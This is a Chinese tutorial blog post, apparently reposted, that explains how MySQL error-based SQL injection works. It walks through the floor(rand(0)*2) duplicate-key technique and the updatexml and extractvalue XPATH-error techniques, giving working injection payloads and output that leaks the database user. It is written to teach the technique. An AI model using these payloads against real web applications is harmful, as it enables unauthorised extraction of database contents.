mysql floor报错注入_mysql报错注入总结[通俗易懂]

mysql floor报错注入_mysql报错注入总结[通俗易懂]最近又深刻的研究了一下mysql的报错注入,发现很多值得记录的东西,于是写了这篇博客做一个总结,目的是为了更深刻的理解报错注入报错注入原因及分类既然是研究报错注入,那我们先要弄明白为什么我们的注入语句会导致数据库报错,报错的原因我自己总结了一下,有以下几点重复数据报错,这里的重复主要有两个方面,其中之一是基于主键的唯一性:一个表主键必须是唯一的,如果一个表尝试生成两个相同的主键,就会爆出Dupli…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

17270ce95af85a4a2d33846cd5831d99.png

最近又深刻的研究了一下mysql的报错注入,发现很多值得记录的东西,于是写了这篇博客做一个总结,目的是为了更深刻的理解报错注入

报错注入原因及分类

既然是研究报错注入,那我们先要弄明白为什么我们的注入语句会导致数据库报错,报错的原因我自己总结了一下,有以下几点

重复数据报错,这里的重复主要有两个方面,其中之一是基于主键的唯一性:一个表主键必须是唯一的,如果一个表尝试生成两个相同的主键,就会爆出Duplicate entry ‘1’ for key ‘group_key’的主键重复错误,于是根据这种报错就产生了floor(rand(0)*2)等注入手法,另外一个就是基于列名的唯一性,如果我们在一个表中构造了两个相同的列名,就会产生Duplicate column name的错误,报错方法通常有NAME_CONST,或者利用join和using关键字连接同一个表创建子查询进行报错,这个方法从lctf2017 pcat大佬的writeup中学到的,在我的另一篇文章中会提到

基于数据类型不一致而产生的报错:mysql的一些函数参数要求的是什么数据类型,如果数据类型不符合,自然就会报错,这种报错也是相对容易理解的,根据这种特性产生的报错注入有updatexml,extractvalue等注入手法

基于BIGINT溢出错误的SQL注入,根据超出最大整数溢出产生的错误,这类报错注入是在mysql5.5.5版本后才产生的,5.5.5版本前并不会因为整数溢出而报错,这种注入自己在phpstudy上试了试,mysql版本为5.5.53,虽然报错了但是并没有爆出信息,以后研究出来再补充

其他报错,企业级代码审计这本书上看到的,一些mysql空间函数geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),通过这些报错会产生Illegal non geometric的错误,里面同时包含了我们构造查询语句的信息

原理分析

接下来对上面列出的一些报错注入一个个进行分析

基于主键值重复

floor(rand(0)*2):我们在进行报错注入时用的相对较多的方法,网上给出的报错语句大部分是这样的

id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

看到这是不是有点云里雾里的感觉呢,没关系,我也因为这个语句纠结了一段时间,比如为什么要floor(rand(0)*2),为什么要用到information_schema.tables这个表,接下来我们就把它彻底弄明白,先看rand()这个函数,这个函数都知道是产生随机数的,但是当rand(0)被计算多次时它所产生的值是有规律的,我们以information_schema.tables这个表进行示范,因为它里面的数据多,别的表也可以,只要数据量够多,这样可以使rand(0)计算多次,便于观察,为了更便于观察,我们取前30条记录,查询语句

mysql> select rand(0) from information_schema.tables limit 0,30;

+———————+

| rand(0) |

+———————+

| 0.15522042769493574 |

| 0.620881741513388 |

| 0.6387474552157777 |

| 0.33109208227236947 |

| 0.7392180764481594 |

| 0.7028141661573334 |

| 0.2964166321758336 |

| 0.3736406931408129 |

| 0.9789535999102086 |

| 0.7738459508622493 |

| 0.9323689853142658 |

| 0.3403071047182261 |

| 0.9044285983819781 |

| 0.501221708488857 |

| 0.7928227780319962 |

| 0.4604487954270549 |

| 0.9237756737729308 |

| 0.23753201331713425 |

| 0.4163330760005238 |

| 0.3690693707848614 |

| 0.5963476566563805 |

| 0.874530201660963 |

| 0.5836080690693185 |

| 0.29444977109734877 |

| 0.7214246790124333 |

| 0.7237741125037652 |

| 0.4545965562151713 |

| 0.10166047429820567 |

| 0.14451273357915947 |

| 0.4175822757348253 |

+———————+

30 rows in set (0.05 sec)

通过多次测试观察可以发现规律,每次执行sql语句多次计算rand(0)时,rand(0)产生的值是总是固定的,不管执行多少次语句,多次计算的rand(0)的前30条总是和上面得计算结果一样,那么可以做出结论之后的结果也总是一样,观察上述计算结果,看似杂乱的数值其实都有着一个范围界限,那就是0~0.5,0.5~1,我们将rand(0)*2再观察一下

mysql> select rand(0)*2 from information_schema.columns limit 0,30;

+———————+

| rand(0)*2 |

+———————+

| 0.3104408553898715 |

| 1.241763483026776 |

| 1.2774949104315554 |

| 0.6621841645447389 |

| 1.4784361528963188 |

| 1.4056283323146668 |

| 0.5928332643516672 |

| 0.7472813862816258 |

| 1.9579071998204172 |

| 1.5476919017244986 |

| 1.8647379706285316 |

| 0.6806142094364522 |

| 1.8088571967639562 |

| 1.002443416977714 |

| 1.5856455560639924 |

| 0.9208975908541098 |

| 1.8475513475458616 |

| 0.4750640266342685 |

| 0.8326661520010477 |

| 0.7381387415697228 |

| 1.192695313312761 |

| 1.749060403321926 |

| 1.167216138138637 |

| 0.5888995421946975 |

| 1.4428493580248667 |

| 1.4475482250075304 |

| 0.9091931124303426 |

| 0.20332094859641134 |

| 0.28902546715831895 |

| 0.8351645514696506 |

+———————+

30 rows in set (0.69 sec)

此时界限分隔值变成了1,数值都是零点几的小数和一点几的小数,于是用floor处理一下

mysql> select floor(rand(0)*2) from information_schema.columns limit 0,30;

+——————+

| floor(rand(0)*2) |

+——————+

| 0 |

| 1 |

| 1 |

| 0 |

| 1 |

| 1 |

| 0 |

| 0 |

| 1 |

| 1 |

| 1 |

| 0 |

| 1 |

| 1 |

| 1 |

| 0 |

| 1 |

| 0 |

| 0 |

| 0 |

| 1 |

| 1 |

| 1 |

| 0 |

| 1 |

| 1 |

| 0 |

| 0 |

| 0 |

| 0 |

+——————+

于是就有了floor(rand(0)2),同样的,每次执行多次floor(rand(0)2),所得的结果也总是这样固定,我们只看前6个数字,总是0,1,1,0,1,1这样的顺序,后面的数也是如此有着自己的顺序

接下来我们构造一个sql语句,它可以报出Duplicate的错误

mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);

ERROR 1062 (23000): Duplicate entry ‘1’ for key ‘group_key’

分析这条语句,当进行count(),group by聚合函数分组计算时,mysql会创建一个虚拟表,虚拟表由主键列和count()列两列组成,同时floor(rand(0)2)这个值会被计算多次,这一点很重要,计算多次是指在取数据表数据使用group by时,进行一次floor(rand(0)2),如果虚拟表中不存在此数据时,那么在往虚拟表插入数据时,floor(rand(0)2)将会再被计算一次,接下来分析,取数据表第一条记录时第一次使用group by,计算floor(rand(0)2)的值为0,查询虚拟表发现0这个主键不存在,于是再次计算floor(rand(0)2)结果为1,将1作为主键插入虚拟表,这时主键1的count()值为1,接下来取数据表第二条记录时第二次使用group by,计算floor(rand(0)2),结果为1,然后查询虚拟表,发现1的键值存在,于是count()的值加1,取数据表第三条记录时第三次使用group by,计算floor(rand(0)2)值为0,查询虚拟表,发现0的键值不存在,于是再一次计算floor(rand(0)2),结果为1,当尝试将1插入虚拟表中时,发现主键1已经存在,所以报出主键重复的错误,整个过程中查询了information_schema.tables这个表3条记录发生报错,这也是报错为什么需要数据表的记录多到至少为3条的原因,也是为什么选择information_schema.tables表的原因,因为这个表中的记录一定大于三条,由此可知我们其实还以选择information_schema.columns,information_schema.schemata等表

下面构造语句

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user());

ERROR 1062 (23000): Duplicate entry ‘1:root@localhost’ for key ‘group_key’

是不是看着很眼熟,没错,这就是我们在开头给出的那个复杂的语句,只不过开头的那个加了个子查询,其实and后的括号里直接写这个语句也能达到一样的效果

mysql> select * from user where id=1 and (select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user()));

ERROR 1062 (23000): Duplicate entry ‘1:root@localhost’ for key ‘group_key’

把user()换成其他查询语句,就可以注入出别的数据

基于数据类型的不一致

updatexml(1,XPATH,1)函数的第二个参数要求为XPATH格式,如果我们把它改为字符串格式,那么就会爆出XPATH syntax error的错误,于是构造sql语句

mysql> select * from user where id=1 and updatexml(1,(concat(1,user())),1);

ERROR 1105 (HY000): XPATH syntax error: ‘root@localhost’

利用concat函数返回字符串产生报错,同样的函数还有extractvalue(1,XPATH)

mysql> select * from user where id=1 and extractvalue(1,(concat(1,user())));

ERROR 1105 (HY000): XPATH syntax error: ‘root@localhost’

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/187521.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 移动手机app开发

    移动手机app开发App开发,是指专注于手机应用软件开发与服务。App是application的缩写,通常专指手机上的应用软件,或称手机客户端。另外目前有很多在线app开发[1]平台,比如应用之星平台很好用。App开发,是指专注于手机应用软件开发与服务。App是application的缩写,通常专指手机上的应用软件,或称手机客户端。苹果公司的Appstore开创了手机软件业发展的新篇章,使得第三方软

  • 数据持久化

    数据持久化

  • [转]tika支持的文件格式

    [转]tika支持的文件格式SupportedDocumentFormatsThispagelistsallthedocumentformatssupportedbytheparsersinApacheTika1.13.Followthelinkstothevariousparserclassjavadocsformoredetailedinformatio…

    2022年10月27日
  • 二进制——减法「建议收藏」

    二进制——减法「建议收藏」二进制的减法分为两种:1.使用硬件减法器运算;2.将减法转换成加法运算。 本文讲述第二种方法。 大家都知道计算机有两种数值类型:1.有符号类型;2.无符号类型。 有符号类型是利用其二进制的最高位来存储正负标志的,所以有符号类型的最大值的绝对值要小于无符号类型,就是因为有符号类型比无符号类型少了一位数据位,大小当然就少一半了,但是两种类型所表示的数值的个数是一

  • qmake实用函数

    qmake实用函数介绍些qmake使用频率较高的函数。

  • centos打开windows的ftp 无法显示内容 显示空白内容

    centos打开windows的ftp 无法显示内容 显示空白内容

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号